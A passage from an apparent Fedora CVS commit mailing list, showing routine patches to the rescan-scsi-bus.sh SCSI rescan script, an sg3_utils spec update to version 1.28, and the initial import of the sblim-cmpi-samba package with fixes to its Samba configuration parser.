+         lunremove="$lunremove $lun"
+        fi
     newsearch=
-    oldsearch="$lunsearch"
-    for tmplun in $lunsearch; do
+    oldsearch="$lun_search"
+    for tmplun in $lun_search; do
       if test $tmplun -eq $lun ; then
 	dolunscan
       else
@@ -398,10 +418,10 @@ doreportlun()
 	# Stale lun
 	lunremove="$lunremove $lun"
     fi
-    lunsearch="$newsearch"
+    lun_search="$newsearch"
   done
   # Add new ones and check stale ones
-  for lun in $lunsearch $lunremove; do
+  for lun in $lun_search $lunremove; do
     dolunscan
   done
 }
-- 
1.6.0.6

>From ffb5528871e9bdd35cccaec26734a2faeb585fdc Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Tue, 7 Jul 2009 15:37:23 +0200
Subject: [PATCH] netapp - LIP is not required to do a scan on FC

---
 rescan-scsi-bus.sh |    3 +--
 1 files changed, 1 insertions(+), 2 deletions(-)

diff --git a/rescan-scsi-bus.sh b/rescan-scsi-bus.sh
index a939b1d..0754004 100644
--- a/rescan-scsi-bus.sh
+++ b/rescan-scsi-bus.sh
@@ -565,11 +565,10 @@ declare -i rmvd=0
 for host in $hosts; do
   echo -n "Scanning host $host "
   if test -e /sys/class/fc_host/host$host ; then
-    # It's pointless to do a target scan on FC
     if test -n "$lipreset" ; then
       echo 1 > /sys/class/fc_host/host$host/issue_lip 2> /dev/null;
-      echo "- - -" > /sys/class/scsi_host/host$host/scan 2> /dev/null;
     fi
+    echo "- - -" > /sys/class/scsi_host/host$host/scan 2> /dev/null;
     channelsearch=""
     idsearch=""
   fi
-- 
1.6.0.6

>From 50cab941cd1faa063326e3dd56f111430d05debc Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Wed, 8 Jul 2009 10:39:56 +0200
Subject: [PATCH] space before getluns call is required

---
 rescan-scsi-bus.sh |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/rescan-scsi-bus.sh b/rescan-scsi-bus.sh
index 0754004..9f7036f 100644
--- a/rescan-scsi-bus.sh
+++ b/rescan-scsi-bus.sh
@@ -392,7 +392,7 @@ doreportlun()
     fi
   fi
   flag=0
-  lun_search="`getluns`"
+  lun_search=" `getluns`"
   # Set flag=1 if all the LUNs are removed
   if [ "${#lun_search}" = "1" ]; then
     flag=1
-- 
1.6.0.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sg3_utils/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	28 Apr 2009 13:07:49 -0000	1.11
+++ .cvsignore	22 Oct 2009 12:48:53 -0000	1.12
@@ -1,2 +1,2 @@
-sg3_utils-1.27.tgz
+sg3_utils-1.28.tgz
 rescan-scsi-bus.sh-1.29


Index: sg3_utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sg3_utils/devel/sg3_utils.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sg3_utils.spec	27 Jul 2009 04:14:24 -0000	1.29
+++ sg3_utils.spec	22 Oct 2009 12:48:53 -0000	1.30
@@ -1,13 +1,15 @@
 %define rescan_version 1.29
+%define rescan_script rescan-scsi-bus.sh
 
 Summary: Utilities for devices that use SCSI command sets
 Name: sg3_utils
-Version: 1.27
-Release: 2%{?dist}
+Version: 1.28
+Release: 1%{?dist}
 License: GPLv2+ and BSD
 Group: Applications/System
 Source0: http://sg.danny.cz/sg/p/sg3_utils-%{version}.tgz
-Source1: http://www.garloff.de/kurt/linux/rescan-scsi-bus.sh-%{rescan_version}
+Source1: http://www.garloff.de/kurt/linux/%{rescan_script}-%{rescan_version}
+Patch100: rescan-scsi-bus-fixes.patch
 URL: http://sg.danny.cz/sg/sg3_utils.html
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: %{name}-libs = %{version}-%{release}
@@ -47,6 +49,10 @@ developing applications.
 %prep
 %setup -q
 
+# rescan-scsi-bus.sh
+cp -p %{SOURCE1} %{rescan_script}
+%patch100 -p1 -b .orig
+
 
 %build
 %configure --disable-static
@@ -62,7 +68,8 @@ make %{?_smp_mflags}
 make install DESTDIR=$RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT/%{_libdir}/*.la
 
-install -p -m 755 %{SOURCE1} $RPM_BUILD_ROOT%{_bindir}/rescan-scsi-bus.sh
+install -p -m 755 %{rescan_script} $RPM_BUILD_ROOT%{_bindir}
+( cd $RPM_BUILD_ROOT%{_bindir}; ln -sf %{rescan_script} scsi-rescan )
 
 
 %clean
@@ -89,8 +96,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/scsi/*.h
 %{_libdir}/*.so
 
- 
+
 %changelog
+* Thu Oct 22 2009 Dan Hor?k <dan at danny.cz> - 1.28-1
+- update to version 1.28
+- added fixes from RHEL to rescan-scsi-bus.sh
+- added scsi-rescan symlink to the rescan-scsi-bus.sh script
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.27-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sg3_utils/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	28 Apr 2009 13:07:49 -0000	1.11
+++ sources	22 Oct 2009 12:48:53 -0000	1.12
@@ -1,2 +1,2 @@
-de42374a6ba11258f1963134542af12c  sg3_utils-1.27.tgz
+e59d5eb56475e2443b6188cf50ac8f67  sg3_utils-1.28.tgz
 679aa223710bddffe40d0cfc700009b7  rescan-scsi-bus.sh-1.29



From vcrhonek at fedoraproject.org  Thu Oct 22 12:59:43 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 12:59:43 +0000 (UTC)
Subject: rpms/sblim-cmpi-samba/devel import.log, NONE,
	1.1 sblim-cmpi-samba-0.2.3-model.patch, NONE,
	1.1 sblim-cmpi-samba-0.5.2-1769647-release.patch, NONE,
	1.1 sblim-cmpi-samba-0.5.2-include.patch, NONE,
	1.1 sblim-cmpi-samba.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022125943.F0C6B11C008C@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-samba/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29570/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-cmpi-samba-0.2.3-model.patch 
	sblim-cmpi-samba-0.5.2-1769647-release.patch 
	sblim-cmpi-samba-0.5.2-include.patch sblim-cmpi-samba.spec 
Log Message:
Initial import (#502834).


--- NEW FILE import.log ---
sblim-cmpi-samba-0_5_2-1_fc10:HEAD:sblim-cmpi-samba-0.5.2-1.fc10.src.rpm:1256216289

sblim-cmpi-samba-0.2.3-model.patch:
 Linux_Samba.mof |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sblim-cmpi-samba-0.2.3-model.patch ---
--- model/Linux_Samba.mof       2007-08-17 13:02:57.000000000 +0200
+++ model/Linux_Samba.mof       2007-08-17 13:03:03.000000000 +0200
@@ -178,7 +178,7 @@
     string Path;
 
     [Write]
-    boolean Printable = "yes";
+    boolean Printable = true;
 
     [Write]
     string SystemPrinterName;

sblim-cmpi-samba-0.5.2-1769647-release.patch:
 ChangeLog                                               |   17 
 NEWS                                                    |    4 
 resource-access/scripts/smt_smb_ra_get_user_mappings.py |   25 
 resource-access/scripts/smt_smb_ra_parser.py            |  486 !!!!!!!!!!!!!!!!
 resource-access/smt_smb_ra_support.c                    |   12 
 sblim-cmpi-samba.spec.in                                |    8 
 6 files changed, 25 insertions(+), 2 deletions(-), 525 modifications(!)

--- NEW FILE sblim-cmpi-samba-0.5.2-1769647-release.patch ---
Index: sblim-cmpi-samba.spec.in
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/sblim-cmpi-samba.spec.in,v
retrieving revision 1.20
diff -c -r1.20 sblim-cmpi-samba.spec.in
*** sblim-cmpi-samba.spec.in	14 Sep 2007 12:30:33 -0000	1.20
--- sblim-cmpi-samba.spec.in	6 Dec 2007 17:06:39 -0000
***************
*** 9,15 ****
  Summary: SBLIM WBEM-SMT Samba
  Name: @PACKAGE_TARNAME@
  Version: @PACKAGE_VERSION@
! Release: 1
  Group: Systems Management/Base
  URL: http://www.sblim.org
  License: CPL
--- 9,15 ----
  Summary: SBLIM WBEM-SMT Samba
  Name: @PACKAGE_TARNAME@
  Version: @PACKAGE_VERSION@
! Release: 2
  Group: Systems Management/Base
  URL: http://www.sblim.org
  License: CPL
***************
*** 20,26 ****
  #BuildRequires: tog-pegasus-devel
  #BuildRequires: sblim-cmpi-devel
  
! Provides: cmpi-samba
  
  Source0: http://prdownloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
  
--- 20,26 ----
  #BuildRequires: tog-pegasus-devel
  #BuildRequires: sblim-cmpi-devel
  
! Provides:	 cmpi-samba
  
  Source0: http://prdownloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
  
***************
*** 171,176 ****
--- 171,180 ----
  
  ###############################################################################
  %changelog
+ * Tue Oct 16 2007 Wolfgang Taphorn <taphorn at de.ibm.com> 0.5.2-2
+   - Inclusion of fixes for the following issues:
+     o 1769647  cmpi-samba: Parallel requests cause provider to quit
+ 
  * Fri Sep 14 2007 Wolfgang Taphorn <taphorn at de.ibm.com> 0.5.2-1
    - Inclusion of fixes for the following issues:
      o 1794679  cmpi-samba: base tests on current delivered testsuite
Index: NEWS
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/NEWS,v
retrieving revision 1.16
diff -c -r1.16 NEWS
*** NEWS	14 Sep 2007 12:27:50 -0000	1.16
--- NEWS	6 Dec 2007 17:06:39 -0000
***************
*** 1,3 ****
--- 1,7 ----
+ Changes on top of 0.5.2-1
+ ==============================================================================
+ - 1769647  cmpi-samba: Parallel requests cause provider to quit
+ 
  Changes in 0.5.2-1
  ==============================================================================
  - 1794679  cmpi-samba: base tests on current delivered testsuite
Index: ChangeLog
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/ChangeLog,v
retrieving revision 1.11
diff -c -r1.11 ChangeLog
*** ChangeLog	14 Sep 2007 12:41:33 -0000	1.11
--- ChangeLog	6 Dec 2007 17:06:39 -0000
***************
*** 1,4 ****
--- 1,21 ----
  // =========================================================================
+ // Changes on top of version 0.5.2-1 :
+ 
+ 2007-12-06 10:56  skanan
+ 
+ 	* NEWS, sblim-cmpi-samba.spec.in (BRANCH_0_5_2_1): Fix for issue:
+ 	  [1769647]  Parallel requests cause provider to quit
+ 
+ 2007-12-05 12:18  skanan
+ 
+ 	* resource-access/smt_smb_ra_support.c, NEWS,
+ 	  sblim-cmpi-samba.spec.in,
+ 	  resource-access/scripts/smt_smb_ra_get_user_mappings.py,
+ 	  resource-access/scripts/smt_smb_ra_parser.py (BRANCH_0_5_2_1):
+ 	  Fix for issue: [1769647]  Parallel requests cause provider to
+ 	  quit
+ 
+ // =========================================================================
  // new in version 0.5.2-1 :
  
  2007-09-14 14:30  taphorn
Index: resource-access/scripts/smt_smb_ra_parser.py
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/resource-access/scripts/smt_smb_ra_parser.py,v
retrieving revision 1.1
diff -c -r1.1 smt_smb_ra_parser.py
*** resource-access/scripts/smt_smb_ra_parser.py	18 Oct 2005 11:54:15 -0000	1.1
--- resource-access/scripts/smt_smb_ra_parser.py	6 Dec 2007 17:06:41 -0000
***************
*** 1,240 ****
! #!/usr/bin/python
! #
! # smt_smb_ra_parser.py
! #
! # (C) Copyright IBM Corp. 2005
! #
! # THIS FILE IS PROVIDED UNDER THE TERMS OF THE COMMON PUBLIC LICENSE
! # ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THIS FILE
! # CONSTITUTES RECIPIENTS ACCEPTANCE OF THE AGREEMENT.
! #
! # You can obtain a current copy of the Common Public License from
! # http://www.opensource.org/licenses/cpl1.0.php
! #
! # Author:  Rodrigo Ceron <rceron at br.ibm.com>
! #
! # Contributors:
! #
! #####################################################################
! 
! from string import strip
! from smt_smb_ra_errors import *
! import re
! 
! class Parser:
! 	
! 	def __init__(self,filename):
! 		self.filename = filename
! 		#self.share = re.compile(r"\[\s*([^\s\[\]]+)\s*\]")
! 		
! 		self.share = re.compile(r"^\s*\[\s*([^]\s[]|[^][\s].*[^][\s])\s*\]\s*$")
! 		self.opts	 = re.compile(r"\s*([^=]+?)\s*=\s*(.+)")
! 		self.comment = re.compile(r"^[#;]+")
! 
! 
! 	def parse(self):
! 		self.file = file(self.filename)
! 		self.tokens = {}
! 		self.sec_order = [] # These 2 exists basically to allow us to determine the
! 		self.all_order = {} # order in wich the shares appear in the file.  
! 		for i in self.file.xreadlines():
! 			if self.comment.search(i):
! 				continue
! 			try:
! 				sh = self.share.search(strip(i)).groups()[0]
! 				self.tokens[sh] = {} 
! 				self.sec_order.append(sh)
! 				self.all_order[sh] = []
! 			except AttributeError:
! 				try:
! 					op = self.opts.search(strip(i)).groups()
! 					self.tokens[sh][op[0]] = op[1]
! 					self.all_order[sh].append(op[0])
! 				except:
! 					continue
! 			except:
! 				continue
! 		self.file.close()		
! 		return self.tokens
! 
! 	def get_order(self):
! 		return self.sec_order,self.all_order
! 
! 	def get_share(self,name):
! 		try:
! 			return self.tokens[name]
! 		except AttributeError:
! 			self.parse()
! 			try:
! 				return self.tokens[name]
! 			except KeyError:
! 				return {}
! 
! 	def get_service_list(self):
! 		try:
! 			return self.tokens.keys()
! 		except AttributeError:
! 			return self.parse().keys()
! 
! 	def __get_option(self,share,option):
! 		try:
! 			sh = self.tokens[share]
! 		except AttributeError:
! 			self.parse()
! 		except KeyError:
! 			return ENOSHARE 
! 		try:
! 			sh = self.tokens[share]
! 		except KeyError: 
! 			return ENOSHARE
! 		return sh[option]
! 				
! 	def get_option(self,share,option):
! 		try:
! 			return self.__get_option(share,option)
! 		except KeyError:
! 			return ENOOPT
! 
! 	def get_option_merge(self,share,option):
! 		if share == "global":
! 			return self.__get_option(share,option)
! 		else:
! 			try:
! 				return self.__get_option(share,option)
! 			except KeyError:
! 				try:
! 					return self.__get_option("global",option)
! 				except KeyError:
! 					return ENOOPT
! 
! 	def lines(self,share):
! 		self.file = file(self.filename)
! 		inshare = 0
! 		lines = -1 
! 		linestart = -1
! 		lineend = -1
! 		for line in self.file.xreadlines():
! 			lines = lines + 1
! 			try:
! 				sh = self.share.search(line).groups()[0]
! 				if (sh == share):
! 					linestart = lines
! 					inshare = 1
! 				elif inshare:
! 						lineend = lines 
! 						inshare = 0
! 			except:
! 				continue
! 
! 		if (linestart == -1):
! 			return 0
! 		if (lineend == -1):
! 			lineend = lines +1 ;
! 
! 		self.file.close()
! 		return linestart,lineend
! 			
! 	def enable(self,share):
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 			
! 		try:
! 			self.file = file(self.filename,"r+")
! 		except IOError:
! 			return EACCES
! 
! 		file_lines = self.file.readlines()
! 		for i in range(lines[0],lines[1]):
! 			if (self.share.search(file_lines[i]) or self.opts.search(file_lines[i])):
! 				file_lines[i] = self.comment.sub("",file_lines[i])
! 
! 		self.file.seek(0)
! 		self.file.truncate(0)
! 		self.file.writelines(file_lines)
! 			
! 		self.file.close()
! 		return 0
! 		
! 	def disable(self,share):	
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 			
! 		try:
! 			self.file = file(self.filename,"r+")
! 		except IOError:
! 			return EACCES
! 			
! 		file_lines = self.file.readlines()
! 		for i in range(lines[0],lines[1]):
! 			if (not self.comment.search(file_lines[i])):
! 				file_lines[i] = "#" + file_lines[i]
! 
! 	
! 		self.file.seek(0)
! 		self.file.truncate(0)
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 		
! 	def set_option(self,share,option,value):
! 		try:
! 			self.file = file(self.filename)
! 			file_lines = self.file.readlines()
! 		except IOError:
! 			return ENOFILE
! 
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 
! 		found = 0
! 		#try to match the option in the options already placed in the file
! 		#if this is the case, replace it
! 		#if not, add a new one, placed at the end of the range given by lines
! 		for i in range(lines[0],lines[1]):
! 			try:
! 				if (self.opts.search(file_lines[i]).groups()[0] == option):
! 					file_lines[i] = self.opts.sub(r"\t\1 = " + value,file_lines[i])
! 					found = 1
! 					#break	
! 			except AttributeError:
! 				continue
! 
! 		if (not found):
! 			file_lines.insert(lines[1],"\t"+option+ " = " + value + "\n")
! 	
! 		try:
! 			self.file = file(self.filename,"w")
! 		except IOEerror:
! 			return EACCES
! 
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 	
! 	def delete_share(self,share):	
! 		try:
! 			self.file = file(self.filename)
! 			file_lines = self.file.readlines()
! 		except IOError:
! 			return ENOFILE
! 
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 
! 		file_lines[lines[0]:lines[1]] = []
! 
! 		try:
! 			self.file = file(self.filename,"w")
! 		except IOEerror:
! 			return EACCES
! 
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 
! 	def create_share(self,share):
! 		pass
--- 1,246 ----
! #!/usr/bin/python
! #
! # smt_smb_ra_parser.py
! #
! # (C) Copyright IBM Corp. 2005
! #
! # THIS FILE IS PROVIDED UNDER THE TERMS OF THE COMMON PUBLIC LICENSE
! # ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THIS FILE
! # CONSTITUTES RECIPIENTS ACCEPTANCE OF THE AGREEMENT.
! #
! # You can obtain a current copy of the Common Public License from
! # http://www.opensource.org/licenses/cpl1.0.php
! #
! # Author:  Rodrigo Ceron <rceron at br.ibm.com>
! #
! # Contributors:
! #
! #####################################################################
! 
! from string import strip
! from smt_smb_ra_errors import *
! from os import write,close,path
! from sys import argv,exit,stdin
! import re
! 
! class Parser:
! 	
! 	def __init__(self,filename):
! 		self.filename = filename
! 		#self.share = re.compile(r"\[\s*([^\s\[\]]+)\s*\]")
! 		
! 		self.share = re.compile(r"^\s*\[\s*([^]\s[]|[^][\s].*[^][\s])\s*\]\s*$")
! 		self.opts	 = re.compile(r"\s*([^=]+?)\s*=\s*(.+)")
! 		self.comment = re.compile(r"^[#;]+")
! 
! 
! 	def parse(self):
!         	if path.exists(self.filename):
! 
! 			self.file = file(self.filename)
! 			self.tokens = {}
! 			self.sec_order = [] # These 2 exists basically to allow us to determine the
! 			self.all_order = {} # order in wich the shares appear in the file.  
! 			for i in self.file.xreadlines():
! 				if self.comment.search(i):
! 					continue
! 				try:
! 					sh = self.share.search(strip(i)).groups()[0]
! 					self.tokens[sh] = {} 
! 					self.sec_order.append(sh)
! 					self.all_order[sh] = []
! 				except AttributeError:
! 					try:
! 						op = self.opts.search(strip(i)).groups()
! 						self.tokens[sh][op[0]] = op[1]
! 						self.all_order[sh].append(op[0])
! 					except:
! 						continue
! 				except:
! 					continue
! 			self.file.close()		
! 			return self.tokens
! 		else:
! 			exit(EINVAL)
! 
! 	def get_order(self):
! 		return self.sec_order,self.all_order
! 
! 	def get_share(self,name):
! 		try:
! 			return self.tokens[name]
! 		except AttributeError:
! 			self.parse()
! 			try:
! 				return self.tokens[name]
! 			except KeyError:
! 				return {}
! 
! 	def get_service_list(self):
! 		try:
! 			return self.tokens.keys()
! 		except AttributeError:
! 			return self.parse().keys()
! 
! 	def __get_option(self,share,option):
! 		try:
! 			sh = self.tokens[share]
! 		except AttributeError:
! 			self.parse()
! 		except KeyError:
! 			return ENOSHARE 
! 		try:
! 			sh = self.tokens[share]
! 		except KeyError: 
! 			return ENOSHARE
! 		return sh[option]
! 				
! 	def get_option(self,share,option):
! 		try:
! 			return self.__get_option(share,option)
! 		except KeyError:
! 			return ENOOPT
! 
! 	def get_option_merge(self,share,option):
! 		if share == "global":
! 			return self.__get_option(share,option)
! 		else:
! 			try:
! 				return self.__get_option(share,option)
! 			except KeyError:
! 				try:
! 					return self.__get_option("global",option)
! 				except KeyError:
! 					return ENOOPT
! 
! 	def lines(self,share):
! 		self.file = file(self.filename)
! 		inshare = 0
! 		lines = -1 
! 		linestart = -1
! 		lineend = -1
! 		for line in self.file.xreadlines():
! 			lines = lines + 1
! 			try:
! 				sh = self.share.search(line).groups()[0]
! 				if (sh == share):
! 					linestart = lines
! 					inshare = 1
! 				elif inshare:
! 						lineend = lines 
! 						inshare = 0
! 			except:
! 				continue
! 
! 		if (linestart == -1):
! 			return 0
! 		if (lineend == -1):
! 			lineend = lines +1 ;
! 
! 		self.file.close()
! 		return linestart,lineend
! 			
! 	def enable(self,share):
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 			
! 		try:
! 			self.file = file(self.filename,"r+")
! 		except IOError:
! 			return EACCES
! 
! 		file_lines = self.file.readlines()
! 		for i in range(lines[0],lines[1]):
! 			if (self.share.search(file_lines[i]) or self.opts.search(file_lines[i])):
! 				file_lines[i] = self.comment.sub("",file_lines[i])
! 
! 		self.file.seek(0)
! 		self.file.truncate(0)
! 		self.file.writelines(file_lines)
! 			
! 		self.file.close()
! 		return 0
! 		
! 	def disable(self,share):	
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 			
! 		try:
! 			self.file = file(self.filename,"r+")
! 		except IOError:
! 			return EACCES
! 			
! 		file_lines = self.file.readlines()
! 		for i in range(lines[0],lines[1]):
! 			if (not self.comment.search(file_lines[i])):
! 				file_lines[i] = "#" + file_lines[i]
! 
! 	
! 		self.file.seek(0)
! 		self.file.truncate(0)
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 		
! 	def set_option(self,share,option,value):
! 		try:
! 			self.file = file(self.filename)
! 			file_lines = self.file.readlines()
! 		except IOError:
! 			return ENOFILE
! 
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 
! 		found = 0
! 		#try to match the option in the options already placed in the file
! 		#if this is the case, replace it
! 		#if not, add a new one, placed at the end of the range given by lines
! 		for i in range(lines[0],lines[1]):
! 			try:
! 				if (self.opts.search(file_lines[i]).groups()[0] == option):
! 					file_lines[i] = self.opts.sub(r"\t\1 = " + value,file_lines[i])
! 					found = 1
! 					#break	
! 			except AttributeError:
! 				continue
! 
! 		if (not found):
! 			file_lines.insert(lines[1],"\t"+option+ " = " + value + "\n")
! 	
! 		try:
! 			self.file = file(self.filename,"w")
! 		except IOEerror:
! 			return EACCES
! 
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 	
! 	def delete_share(self,share):	
! 		try:
! 			self.file = file(self.filename)
! 			file_lines = self.file.readlines()
! 		except IOError:
! 			return ENOFILE
! 
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 
! 		file_lines[lines[0]:lines[1]] = []
! 
! 		try:
! 			self.file = file(self.filename,"w")
! 		except IOEerror:
! 			return EACCES
! 
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 
! 	def create_share(self,share):
! 		pass
Index: resource-access/scripts/smt_smb_ra_get_user_mappings.py
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/resource-access/scripts/smt_smb_ra_get_user_mappings.py,v
retrieving revision 1.1
diff -c -r1.1 smt_smb_ra_get_user_mappings.py
*** resource-access/scripts/smt_smb_ra_get_user_mappings.py	18 Oct 2005 11:54:15 -0000	1.1
--- resource-access/scripts/smt_smb_ra_get_user_mappings.py	6 Dec 2007 17:06:41 -0000
***************
*** 18,24 ****
  #####################################################################
  
  from sys import argv,exit,stdin
! from os import write,close
  from smt_smb_ra_errors import *
  import re
  
--- 18,24 ----
  #####################################################################
  
  from sys import argv,exit,stdin
! from os import write,close,path
  from smt_smb_ra_errors import *
  import re
  
***************
*** 41,60 ****
          for k in self.right_side_group.findall(mline): d[k.strip()] = k.strip()
          return ["%s" % k.strip("\"") for k in d.itervalues()] 
  
-       
-     def parse(self):
  
!         f = open(self.fname,"r")
  
!         for line in f.readlines():
  
!             if self.comment.search(line): continue
!             elif self.valid.search(line):
!                 (k,v) = line.split("=")
!                 self.map_dic[k.strip()] = self.parse_right_side(v.strip())
!             else:
!                 write(pipeid,"EOF\n")
!                 exit(EINVAL)
  
      def get_users_map(self):
          return self.map_dic
--- 41,61 ----
          for k in self.right_side_group.findall(mline): d[k.strip()] = k.strip()
          return ["%s" % k.strip("\"") for k in d.itervalues()] 
  
  
!     def parse(self):
! 	if path.exists(self.fname):
!             f = open(self.fname,"r")
  
!             for line in f.readlines():
  
!                 if self.comment.search(line): continue
!                 elif self.valid.search(line):
!                     (k,v) = line.split("=")
!                     self.map_dic[k.strip()] = self.parse_right_side(v.strip())
!                 else:
!                     exit(EINVAL)
! 	else:
!     	    exit(EINVAL)
  
      def get_users_map(self):
          return self.map_dic
Index: resource-access/smt_smb_ra_support.c
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/resource-access/smt_smb_ra_support.c,v
retrieving revision 1.10
diff -c -r1.10 smt_smb_ra_support.c
*** resource-access/smt_smb_ra_support.c	14 Sep 2007 12:07:01 -0000	1.10
--- resource-access/smt_smb_ra_support.c	6 Dec 2007 17:06:41 -0000
***************
*** 1789,1798 ****
  
    for(i=0;all_services && all_services[i];i++){
      printable = __get_option(all_services[i],"printable");
!     if (!strcasecmp("yes",printable) ||
! 	!strcasecmp(GLOBAL,all_services[i]) ) continue;
!     shares_list = (char**) realloc(shares_list,(j+2)*sizeof(char *));
!     shares_list[j++] = strdup(all_services[i]);
    }
  
    shares_list[j] = (char *) NULL;
--- 1789,1800 ----
  
    for(i=0;all_services && all_services[i];i++){
      printable = __get_option(all_services[i],"printable");
!     if (strcasecmp(GLOBAL,all_services[i]) && (!printable || !strcasecmp("no",printable))) {
!         shares_list = (char**) realloc(shares_list,(j+2)*sizeof(char *));
!         shares_list[j++] = strdup(all_services[i]);
!     } else {
!         continue;
!     }
    }
  
    shares_list[j] = (char *) NULL;
***************
*** 1900,1906 ****
  
    for(i=0;all_services && all_services[i];i++){
      printable = __get_option(all_services[i],"printable");
!     if (!strcasecmp("no",printable)) continue;
      printer_list = realloc(printer_list,(j+2)*sizeof(char *));
      printer_list[j++] = strdup(all_services[i]);
    }
--- 1902,1908 ----
  
    for(i=0;all_services && all_services[i];i++){
      printable = __get_option(all_services[i],"printable");
!     if (!strcasecmp(GLOBAL,all_services[i]) || !printable || !strcasecmp("no",printable)) continue;
      printer_list = realloc(printer_list,(j+2)*sizeof(char *));
      printer_list[j++] = strdup(all_services[i]);
    }

sblim-cmpi-samba-0.5.2-include.patch:
 Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp           |    1 +
 Linux_SambaAllowHostsForShare/Linux_SambaAllowHostsForShareResourceAccess.cpp               |    1 +
 Linux_SambaDenyHostsForPrinter/Linux_SambaDenyHostsForPrinterResourceAccess.cpp             |    1 +
 Linux_SambaDenyHostsForShare/Linux_SambaDenyHostsForShareResourceAccess.cpp                 |    1 +
 Linux_SambaGlobalPrintingForGlobal/Linux_SambaGlobalPrintingForGlobalResourceAccess.cpp     |    2 ++
 Linux_SambaGlobalPrintingOptions/Linux_SambaGlobalPrintingOptionsResourceAccess.cpp         |    1 +
 Linux_SambaGlobalSecurityForGlobal/Linux_SambaGlobalSecurityForGlobalResourceAccess.cpp     |    2 ++
 Linux_SambaGlobalSecurityOptions/Linux_SambaGlobalSecurityOptionsResourceAccess.cpp         |    1 +
 Linux_SambaGroup/Linux_SambaGroupResourceAccess.cpp                                         |    1 +
 Linux_SambaGroupForUser/Linux_SambaGroupForUserResourceAccess.cpp                           |    1 +
 Linux_SambaPrinterOptions/Linux_SambaPrinterOptionsResourceAccess.cpp                       |    1 +
 Linux_SambaPrinterPrintingForPrinter/Linux_SambaPrinterPrintingForPrinterResourceAccess.cpp |    2 ++
 Linux_SambaPrinterPrintingOptions/Linux_SambaPrinterPrintingOptionsResourceAccess.cpp       |    1 +
 Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp       |    2 ++
 Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp         |    2 ++
 Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp           |    1 +
 Linux_SambaUser/Linux_SambaUserResourceAccess.cpp                                           |    1 +
 support/smt_smb_array.cpp                                                                   |    3 +++
 18 files changed, 25 insertions(+)

--- NEW FILE sblim-cmpi-samba-0.5.2-include.patch ---
diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp
--- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp_old	2007-08-27 10:18:38.000000000 +0200
+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaAllowHostsForPrinter/Linux_SambaAllowHostsForPrinterResourceAccess.cpp	2009-02-17 16:38:49.000000000 +0100
@@ -26,6 +26,7 @@
 
 #include <string>
 #include <list>
+#include <cstdlib>
 
 #include "smt_smb_ra_support.h"
 #include "smt_smb_defaultvalues.h"
